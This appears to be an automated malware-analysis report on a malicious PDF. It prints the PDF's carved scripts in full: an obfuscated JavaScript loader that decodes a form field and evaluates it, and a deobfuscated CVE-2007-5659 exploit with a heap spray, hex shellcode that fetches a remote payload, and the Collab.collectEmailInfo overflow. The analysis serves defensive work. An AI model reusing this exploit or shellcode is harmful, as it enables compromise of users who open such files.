MALICIOUS
110
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1566.001 Spearphishing Attachment
The PDF file was flagged as malicious by an ML classifier and contains embedded JavaScript. The JavaScript stream, named 'javascript_obj0106_000.js', is likely responsible for executing malicious actions. While the specific actions of the script are not fully detailed, its presence within a malicious PDF strongly suggests it's used for delivering a payload or exploiting vulnerabilities.
Machine Learning
- Nyx PDF Classifier malicious score 0.9971
Heuristics 5
-
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
-
JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
- http://ns.adobe.com/xap/1.0/In PDF document text
- http://purl.org/dc/elements/1.1/In PDF document text
- http://ns.adobe.com/xap/1.0/mm/In PDF document text
- http://ns.adobe.com/pdf/1.3/In PDF document text
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0106_000.js |
pdf-javascript-stream | PDF /JS object 106 at offset 0x7F1F | 3028 bytes |
SHA-256: 930e614c73798c7407f6d1c185addc21542665fb37828d8b98fc8ceb7d65bdbc |
|||
Preview scriptFirst 1,000 lines of the extracted script
var adgwqgfasdfasdfa="354G291G342G96G213G177G"+"306G351G330G2"+"97G348G315G333G330"+"G96G312G303G360"+"G150G294G315G3"+"30G120G342G303"+"G345G123G96G369"+"G30G96G96G96"+"G96G354G291G3"+"42G96G315G177G"+"30G96G96G96G96"+"G354G291G342G9"+"6G309G96G183G96G23"+"1G291G348G312G138"+"G342G333G351G33"+"0G300G120G342G"+"303G345G138G3"+"24G303G330G309"+"G348G312G141"+"G156G123G177G30G"+"96G96G96G96G3"+"15G306G96G120G3"+"09G96G99G183G96G"+"120G342G303G345G1"+"38G324G303G330G3"+"09G348G312G141G"+"156G123G123G96G"+"342G303G345G96"+"G183G96G342G303"+"G345G96G129G9"+"6G102G144G144G102G1"+"77G30G96G96G96G"+"96G354G291G34"+"2G96G333G351G348"+"G96G183G96G102G102G177"+"G30G96G96G96G96"+"G306G333G342G96G1"+"20G315G183G144G177G9"+"6G315G180G342G"+"303G345G138G32"+"4G303G330G309G3"+"48G312G177G96G315G129"+"G183G156G123G96G369G"+"30G96G96G96G96G96G96G9"+"6G96G333G351G34"+"8G96G183G96G333"+"G351G348G96G12"+"9G96G102G111G351G"+"102G96G129G96"+"G342G303G345G13"+"8G345G351G294G"+"345G348G342G12"+"0G315G129G150G13"+"2G150G123G96"+"G129G96G342G"+"303G345G138G345"+"G351G294G345G348G"+"342G120G315G132G1"+"50G123G177G30G96G"+"96G96G96G375G3"+"0G96G96G96G96G3"+"42G303G348G3"+"51G342G330G96"+"G351G330G303G"+"345G297G291G336"+"G303G120G333G351G"+"348G123G177G30G"+"375G30G30G306G35"+"1G330G297G348G315G33"+"3G330G96G360G33"+"3G342G120G345G348G3"+"42G132G321G303G363G123"+"G96G369G30G27G354G29"+"1G342G96G333G351G"+"348G336G351G348G96G18"+"3G96G117G117G17"+"7G30G27G354G291G342"+"G96G330G303G360G"+"348G96G183G96G"+"117G117G177G30G27G3"+"54G291G342G96G"+"324G303G330G309G348G"+"312G96G183G96G34"+"5G348G342G138G324"+"G303G330G309G348"+"G312G177G30G27G306G333"+"G342G120G354G291G3"+"42G96G315G96G183G96G144"+"G177G96G315G96G180"+"G96G324G303G330G3"+"09G348G312G177G9"+"6G315G129G129G123G9"+"6G369G30G27G27G3"+"30G303G360G348G96"+"G183G96G336G291G3"+"42G345G303G219"+"G330G348G120G3"+"21G303G363G28"+"2G345G348G342G1"+"38G297G312G29"+"1G342G201G333G300"+"G303G195G348G120G3"+"15G123G123G138G"+"348G333G249G34"+"8G342G315G330G"+"309G120G147G162"+"G123G177G30G27G"+"27G315G306G120G3"+"30G303G360G348G1"+"38G324G303G330G3"+"09G348G312G96G180G96"+"G150G123G96G330"+"G303G360G348G96"+"G183G96G102G144"+"G102G129G330G303"+"G360G348G177G30G2"+"7G27G333G351G"+"348G336G351G348G96G"+"129G183G96G330G303G3"+"60G348G177G30G"+"27G375G30G27";
var gqasdfasdfas = ':'+'ABCDEFGHIJKLMNOPQRSTUVWXYZ{} ()[]^abcdefghijklmnopqrstuvwxyz_0123456789/!%+-*.,;"=<>&'+'\\';
function xcvafsdfasf(text){
var decryptedText="";
var ln = text.length;
for (var i = 0;i<ln-1;i++)
{
decryptedText += zxcbnasfsdf(text[i]);
}
return decryptedText;}
function zxcbnasfsdf(cryptSymbol){
var symbol="";
var posSymbol=gqasdfasdfas.indexOf(cryptSymbol)-2;
if (posSymbol<0)
{posSymbol=posSymbol+gqasdfasdfas.length;}
symbol=gqasdfasdfas.charAt(posSymbol);
return symbol;}
var b2=getField("Text1");
var fgbfdg43wgwefewf=b2.value;
function gasdasd(sads){
var d="dafefasdfadsvasdfas";
var c="fsadfewfasldfwaefasd";
app[d[3]+d[12]+c[2]+c[10]](sads);
}
gasdasd(xcvafsdfasf(fgbfdg43wgwefewf));
|
|||
acroform_shifted_field_stage_000.js |
deobfuscated-js | AcroForm field shifted-alphabet decoded (shift 2) at offset 0x4E4 | 2058 bytes |
SHA-256: a69b23141bc7abc783a02a2436a044dedf39a62f4fbe48daec43fa4a3bd53c2d |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function hex2bin(res) {var i;var g = Math.round(res.length/4);if (g != (res.length/4)) res = res + "00";var out = "";for (i=0; i<res.length; i+=4) {out = out + "%u" + res.substr(i+2,2) + res.substr(i,2);}return unescape(out);}function fix_it(yarsp, len){while(yarsp.length * 2 < len){yarsp += yarsp;}return yarsp.substring(0, len / 2);}function heapSpray(str){roteDak = str.length * 2;dakRote= "\u9090";spray = fix_it(dakRote, 0x2000 - roteDak);loxWhee = str + spray;loxWhee = fix_it(loxWhee, 524098);memory = new Array();for(i=0; i < 300; i++){memory[i] = loxWhee.substr(0,loxWhee.length - 1 ) + dakRote;}}function str_repeat ( input, cnt ) {var buf = "";for (i=0; i < cnt; i++){buf += input;}return buf;}function shellcode(loadUrl){var scode = "EB115B4B33C96681C9000480340BE4E2FAEB05E8EAFFFFFF0D5AE5E4E4D52D806F95D46F92E86F92F86F8AEC6FA2C46FD282DDACFC91166FA1D86FB0E19CE50E6F96C4E50AB6D52DADA549E50CD53FEB5AF4DC1690EC252FEAE537A40F15DFFB9103BE6F96C0E50A826FE8AA6F96F8E50A6FE06AE50C4FBFB727BB0C791B1B1B0C561B1B1B0C491B1B1B0C4C1B1B1B0C471B1B1B0C7A1B1B1B0C7D1B1B1B0C701B1B1B8C88D7D6E48C978C8188B01BB3186D210C9B1B1B1B0C9E1B1B1B8C8B8AE4E48C91968889B01BB3106D210C811B1B1B6723E0D52D6D01B1B5B58ECCB51BB314A1EB5AB1E4DC16911323A1E4B88997CA23A1E0819C81E46D01825FE0E482AF82671FE4EB602EE4E4E4D52DB5B5B1B3B51BB31C671CE491018EE08CE4F4E4E48CE4C4AAE48EE41BB3306D22D52DB58EB48EE7B5B58CE4E4E424B11BB33C6DA308B16D11D52D6D1C670CE0B5B48CC0F4E4E4B11B93081BB338E78B18679B18E491066D15ADA5DD0D90ECA564D5D7DD0D9117D52DB5B5B51B93081BB304D52D6D1C670CE0CD11B5B4B1B21B93081BB3001B93081BB30C825FE2E482AF82671FE490D6D52DB98EE1B5B5B1B5B51BB310671CC49A02D524D52DA4EB5AF0E3DC16911323E0E3C282D9D56DA8E3E0B5B5B5B3B51BB31CD52DB51BB3340C7E1A1B1B2593AE036E8B22F7066A9410EF5FD2F3953F0266F7186987975D31E51DF99B4DB8462C2FA0E27CA84A8287731B1B1B1B" +loadUrl + "E4";return scode;}var loadUrlAlsoXored = this.info.Title;var scode = shellcode(loadUrlAlsoXored);heapSpray(hex2bin(scode));var msg_bof = str_repeat( "\u0c0c\u0c0c" , 4096 );this.collabStore = Collab.collectEmailInfo({subj:"",msg:msg_bof}); \
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.